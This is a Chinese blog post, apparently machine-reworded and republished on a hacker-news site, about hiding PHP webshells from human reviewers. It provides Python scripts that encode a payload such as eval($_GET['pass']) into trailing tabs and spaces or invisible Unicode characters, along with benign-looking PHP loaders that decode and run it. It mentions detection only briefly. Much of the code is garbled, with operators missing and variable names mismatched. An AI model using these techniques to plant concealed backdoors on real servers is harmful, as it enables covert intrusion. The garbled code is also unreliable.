一个经典的挑球WebShell大约

一个经典的挑球WebShell大约

黑客资讯hacker2020-08-28 8:08:0512984A+A-

一个經典的挑球WebShell

大约是在上年,闲下来无聊的时候阅览知乎问答,看到了那么一个回应:https://www.zhihu.com/question/68591788/answer/269545371

image.png

在其中最终哪个挑球的 webshell 造成了我的留意:

dataProcessor($f[$i]);
            } else {
                $c .= $this->dataProcessor($f[$i]);
            }
        }
        $t = $r('',"$c");
        $t();
    }
    function dataProcessor($li) {
        preg_match('/([\t ] )\r?\n?$/', $li, $m);
        if (isset($m[1])) {
            $l = dechex(substr_count($m[1], "\t"));
            $r = dechex(substr_count($m[1], " "));
            $n = hexdec($l.$r);
            return chr($n);
        }
        return "";
    }
}
new newDataProvider();
?> 

如同这名答主说的那般,大伙儿能否看得出这个是 webshell 呢?及其评定一下自身在真正的系统软件中,许多 php 文档存有的状况下,能否发现这一 php 文档有点儿难题呢?我我觉得自身在应急处置时,仅有细心看的情况下才可以发现它是个 webshell,否则我毫无疑问粗略地扫一眼认为是一切正常的 php 业务流程编码,立即忽略

还有的人喜爱根据查找 webshell 关键词那样大批量去找,这就更不太可能找到。那麼这一 webshell 的基本原理是什么呢?每一行最终都是有空格符与制表符。\t的总数意味着着 ascii 码 16 进制的第一位,空格符的总数意味着着 ascii 码 16 进制的第二位。随后有一个重要的15,实际上意味着了前 15 行的空白字符构成的是create_function,后边就可以写一句话咯,比如eval($_GET["pass"]);,每一行载入一个字符就可以。实行的情况下先载入本身编码以后,按行获取出里边的空格符和制表符,获取出掩藏的编码以后实行就完了了。

自然,要自身去加空格符和制表符真是是灭绝人性

所以我写了个掩藏 webshell 的编码以下:

import sys
def put_color(string, color):
    colors = {
        'red': '31',
        'green': '32',
        'yellow': '33',
    'blue': '34',
    'pink': '35',
    'cyan': '36',
    'gray': '2',
    'white': '37',
}
return '\033[40;1;%s;40m%s\033[0M' % (colors[color], str(string))
if len(sys.argv) not in [3, 4]:
    sys.exit(
        '''[!] usage: python hidden_webshell.py payload filename [output_filename]\n'''
        '''  [-] example: python {}{}{}'''.format(
            put_color('hidden_webshell.py', 'white'),
            put_color(''' 'system("echo \"hacked by Tr0y :)\"");' ''', 'green'),
            put_color('webshell.php', 'blue')
        )
    )
webshell_name = sys.argv[2]
hidden_name = sys.argv[3] if len(sys.argv) == 4 else 'webshell_hidden.php'
exp = sys.argv[1]  # '''system("echo 'hacked by Tr0y :)'");'''
if not exp.endswith(';'):
    print('[!] WARN: {} {}'.format(
        put_color('The payload should end in', 'yellow'),
        put_color(';', 'cyan')
    ))
print('[ ] Hide webshell')
print('  [-] Read from {}'.format(put_color(webshell_name, 'blue')))
print('  [-] Payload is {}'.format(put_color(exp, 'green')))
payload = 'create_function'   exp
with open(webshell_name, 'r') as fp:
    raw_php = fp.readlines()
for line, content in enumerate(payload):
    hex_num = hex(ord(content))
    tab_num = int(hex_num[2], 16)
    space_num = int(hex_num[3], 16)  # 最好用空格符的数量意味着个位
hidden = '\t'  tab_num   ' '  space_num
if line < len(raw_php):
    if raw_php[line].endswith('\n'):
        raw_php[line] = raw_php[line][:-1]   hidden   '\n'
    else:
        raw_php[line] = raw_php[line]   hidden
else:
    raw_php.append(hidden   "\n")
with open(hidden_name, 'w') as fp:
    fp.writelines(raw_php)
print('[!] Saved as {}'.format(put_color(hi
dden_name, 'blue')))
print('[!] All done\n\nBye :)') 

随后大家还必须提前准备一个看起来一切正常的 php 编码。实际上这一步很重要,假如你的 php 编码看上去越没害,隐敝实际效果就就越好:

getArrayValue($lines[$i]);
            if ($i < 15) {
                $lower .= $value;
            } else {
                $higher .= $value;
            }
        }
        $verifyScore = $lower('', "$higher");
        $result = $verifyScore();
        return $result;
    }
    function getArrayValue($result) {
        preg_match('/([\t ] )\r?\n?$/', $result, $match);
        if (isset($match[1])) {
            $lower = dechex(substr_count($match[1], "\t"));
            $higher = dechex(substr_count($match[1], " "));
            $result = hexdec($lower.$higher);
            $result = chr($result);
            return $result;
        }
        return '';
    }
}
$score = new getHigherScore(); 

随后掩藏:

image.png 光看嘛是看不出什么的(留意,由于每一行的最终都是掩藏信息内容,因此 假如原 php 编码的个数不足多,文档最终便会空出许多 行,那样非常容易被发觉,提议在天赋加点废弃物编码添充一下,我较为懒也不搞了)
image.png可是搞个在线编辑器开启,就非常容易被看出去:

image.png

有些人很有可能会感觉这一文档非常容易被发觉,但事实上在真正的应急处置全过程中,掩藏的方式通常便是那么简易,简易而合理。通常便是大伙儿不屑一顾的小窍门,能做到出乎意料的实际效果。自然这种大道理我是在后面磨练和实生物悟到的。因此 ,在那时候我对这一方式的心态,感觉它趣味要远高于感觉它很好用。 Clipboard Image.png

看不到的标识符

大约是在去年吧,闲下来无聊的时候阅览 freebuf(平时无趣)
看到了那么一篇文章:《Linux应急故事之四两拨千斤:黑客一个小小玩法,如何看瞎双眼》,https://www.freebuf.com/articles/terminal/187842.html,再点进来看过一下。本文我简易小结一下:侵略者将文件夹名称取名为 . .(正中间是个空格符),骗得了应急处置工作人员,使他找不着病毒感染文件夹名称……

吧,无论怎样说,这也确认了我上边的叫法:简易合理是最好是的。但我认为本文干货知识很少,缘故并并不是由于这一方式很 low 或是是他水准不好,只是网络攻击竟然用的是空格符而不是别的更为隐敝的标识符。所以我带著心寒的情绪留有了这一评价: image.png 图上运用了 Unicode 的一些不由此可见标识符,不仅搞出了好几个 ..,乃至也有好几个 .,随意挑一个字符来用,不相比空格符强?
标识符能用 6D4115F116017B417B5,我估算相近的也有好多好多,实际操作能够那样:echo -e ".\u17B4." | xargs mkdir。可是即应用了这种更为隐敝的方式,也是能被找出去的,就例如那一篇文章中 dump 运行内存,或是用 od 还可以直接看的:

bash-3.2$ ls -ad .*| od -c
0000000   .  \n   .   .  \n   .   � 236   �   .  \n
0000013 

再不济,就宛如那篇的文章内容发表评论有些人强调的:

image.png

相近的标识符也有以前在 fb 上传出的一篇文章:《用零宽度字符水印揭露泄密者身份》,https://www.freebuf.com/articles/web/167903.html,本文里关键提及的是抓奸细,防泄露,那时候因为我写了个专用工具完成了一下:https://github.com/Macr0phag3/Zero-Width-Spaces-Hiden,便是运用不由此可见的 Unicode 标识符来掩藏信息内容,近期也是有 CTF 刚开始玩这一招数了。

挑球 WebShell pro 版

前几日在內部防御演习,由于全是一个组的,大伙儿知根♂知底♀的,因此 在提前准备 webshell 的情况下我也想整时新的物品。那麼大家如今拥有什么?大家拥有掩藏 webshell 的方式,又拥有看不到的标识符,假如将空格符与 tab 各自用 2 个不一样的不由此可见标识符更换,挑球 webshell pro 版就问世了:

import re
import sys
import binascii
def put_color(string, color):
    colors = {
        'red': '31',
        'green': '32',
        'yellow': '33',
    'blue': '34',
    'pink': '35',
    'cyan': '36',
    'gray': '2',
    'white': '37',
}
return '\033[40;1;%s;40m%s\033[0M' % (colors[color], str(string))
if len(sys.argv) not in [3, 4]:
    sys.exit(
        '''[!] usage: python hidden_webshell.py payload filename [output_filename]\n'''
        '''  [-] example: python {}{}{}'''.format(
            put_color('hidden_webshell.py', 'white'),
            put_color(''' 'system("echo \"hacked by Tr0y :)\"");' ''', 'green'),
            put_color('webshell.php', 'blue')
        )
    )
webshell_name = sys.argv[2]
hidden_name = sys.argv[3] if len(sys.argv) == 4 else 'webshell_hidden.php'
exp = sys.argv[1]  # '''system("echo 'hacked by Tr0y :)'");'''
if not exp.endswith(';'):
    print('[!] WARN: {} {}'.format(
        put_color('The payload should end in', 'yellow'),
        put_color(';', 'cyan')
    ))
print('[ ] Hide webshell')
print('  [-] Read from {}'.format(put_color(webshell_name, 'blue')))
print('  [-] Payload is {}'.format(put_color(exp, 'green')))
hidden_str = ["឴", "឵"]
hidden_str = ["K", "k"]
payload = list('create_function'   exp)
with open(webshell_name, 'r') as fp:
    raw_php = fp.readlines()
last_line_num = var_count = 0
last_var = ''
for line_num, content in enumerate(raw_php):
    phpvar = re.findall('^\s(\$[0-9a-zA-Z] )\s =', content)
    if php_var:
        last_var = php_var[0]
        last_line_num = line_num
        var_count  = 1
if not var_count:
 print('[!] ERRO: {}'.format(
        put_color('The PHP file must contains valid $vars', 'red'),
    ))
replaced = {}
for line_num, content in enumerate(raw_php[:last_line_num]):
    if not payload:
        break
vartmp = re.findall('^\s(\$[0-9a-zA-Z] )\s =', content)
if var_tmp:
    var = var_tmp[0]
    content = raw_php[line_num]
    char = payload.pop(0)
print('掩藏', char, content)
hex_num = hex(ord(char))
tab_num = int(hex_num[2], 16)
space_num = int(hex_num[3], 16)
need_replace[var] = var   "\u17B4"  tab_num   "\u17B5"  space_num
replace_str = var   hidden_str[0]  tab_num   hidden_str[1]  space_num
replaced[var] = replacestr
for var in replaced:
    tmp = re.findall(re.escape(var) '(?![0-9a-zA-Z])', raw_php[line_num])
    if tmp:
        var_to_replace = tmp[0]
print(f'将 {raw_php[line_num]} 中的 {var_to_replace} 更换为 {replaced[var]}')
raw_php[line_num] = raw_php[line_num].replace(var_to_replace, replaced[var])
if payload:
    replace_str = bin(
        int(binascii.b2a_hex(bytes(''.join(payload), 'utf8')), 16)
    )[2:].replace('0', hidden_str[0]).replace('1', hidden_str[1])
    replaced[last_var] = last_var[:2]   replace_str   lastvar[2:]
for var in replaced:
    tmp = re.findall(re.escape(var) '(?![0-9a-zA-Z])', raw_php[last_line_num])
    if tmp:
        var_to_replace = tmp[0]
print(f'将 {raw_php[last_line_num]} 中的 {var_to_replace} 更换为 {replaced[var]}')
raw_php[last_line_num] = raw_php[last_line_num].replace(var_to_replace, replaced[var])
with open(hidden_name, 'w') as fp:
    fp.writelines(raw_php)
print('[!] Saved as {}'.format(put_color(hidden_name, 'blue')))
print('[!] All done\n\nBye :)')

一样,提前准备一下 php 文档:

getArrayValue($lines[$i]);
            if ($value) $count  = 1;
            else continue;
            if ($count < 16) $lower .= $value;
            else $higher .= $value;
        }
    $verifyScore = $lower('', "$higher");
    $result = $verifyScore();
    return $result;
}
function getArrayValue($test_str) {
    preg_match('/^\s\$[^឴឵] ([឴឵] ).?=/', $test_str, $match_test_1);
    preg_match('/^\s\$.([឴឵] ).=/', $test_str, $match_test_2);
    if (isset($match_test_1[0])) {
        $lower_char = dechex(substr_count($match_test_1[1], "឴"));
        $higher_char = dechex(substr_count($match_test_1[1], "឵"));
        $result = chr(hexdec($lower_char.$higher_char));
        return $result;
    } else if(isset($match_test_2[0])) {
        $matched = array();
        $content = str_replace("឵", 'b', str_replace("឴", 'w', $match_test_2[1]));
        for($i = 0; $i < strlen($content); $i  ) {
            $matched[$i] = $content[$i]  1024;
            if($content[$i] == $content[1]) {
                $matched[$i] = 1;
            }
        }
        return pack('H*', test(preg_replace('/[^\d] /i', "", json_encode($matched))));
    }
}
}
$score = new getHigherScore();
?> 

运作!

image.png

实际效果:

image.png

我试了许多 方式 ,除非是是用 od 那样逐个显示字符的,不然大部分在线编辑器/指令都不容易显示信息这一2个标识符:\u17B4、\u17B5。迄今为止,我碰到唯一会显示信息出这两个标识符的是 MacOS 内置的在线编辑器:

image.png

这两个往往不由此可见,好像是绝大多数在线编辑器对 Unicode 的适用不足好,许多 标识符显示信息不上?无论怎样说,去 Unicode 里再淘一淘别的标识符,毫无疑问会出现更为适合的~

留意:因为 php 会将这两个标识符觉得是一般标识符而不是像空格符、tab 那样的空白字符,放到行最终便会出错

1593413529_5ef98f994720f.png!small

因此 掩藏方法我稍干了调节:将不由此可见标识符插进到自变量结尾,剩下的标识符藏在最终一行,分析方法相匹配稍加更改。诸位自主调节逻辑性吧,放到注解里啊、固定不动的字符串数组里啊也都能够的,要是源码看上去够一切正常就可以。实际上在大部分状况下,只必须再用终端设备的情况下,大部分指令显示信息不出来这两个标识符,就早已充足应用了。

最终一些话

所述的这种 webshell 能挑球,是否会被设备检验到呢?我觉得是有可能的。无论是第一个 webshell 的空格符和 tab,還是 pro 版的这些不由此可见标识符,他们自身便会提升文档的独特性,尽管人眼见不出来,可是根据信息熵或是统计学方法的检验也许能解开将这种 webshell 的面具。但是就现阶段看来,无论是字符串长度還是关键词配对乃至是深度学习优化算法,针对该类 webshell 的检验都较差(现阶段我都没找到可以杀毒上边2个 webshell 的专用工具,如果有得话请在发表评论跟我说)。

我们要時刻记牢的是,No Silver Bullet:)

(不清楚如今 fb 的编码是否還是有缩近遗失的难题 [手动狗头],所以我弄了一个 GitHub 库房:https://github.com/Macr0phag3/webshell-bypassed-human,全部的编码都会里边了)

文中创作者:Macr0phag3

点击这里复制本文地址 以上内容由黑资讯整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!
  • 4条评论
  • 嘻友喵叽2022-05-28 04:30:48
  • sp;   return $result;        }        return '';&nbs
  • 语酌美咩2022-05-28 12:07:25
  • or var in replaced: tmp = re.findall(re.escape(var) '(?![0-9a-zA-Z])', raw_php[la
  • 森槿晴枙2022-05-28 03:13:45
  • p;     $result = $verifyScore();        return $result;    }    function getArrayValue($result) {&nb
  • 礼忱昭浅2022-05-28 09:28:18
  • e: raw_php.append(hidden "\n")with open(hidden_name, 'w') as fp: fp.writelines(raw_php)

支持Ctrl+Enter提交

黑资讯 © All Rights Reserved.  
Copyright Copyright 2015-2020 黑资讯
滇ICP备19002590号-1
Powered by 黑客资讯 Themes by 如有不合适之处联系我们
网站地图| 发展历程| 留言建议| 网站管理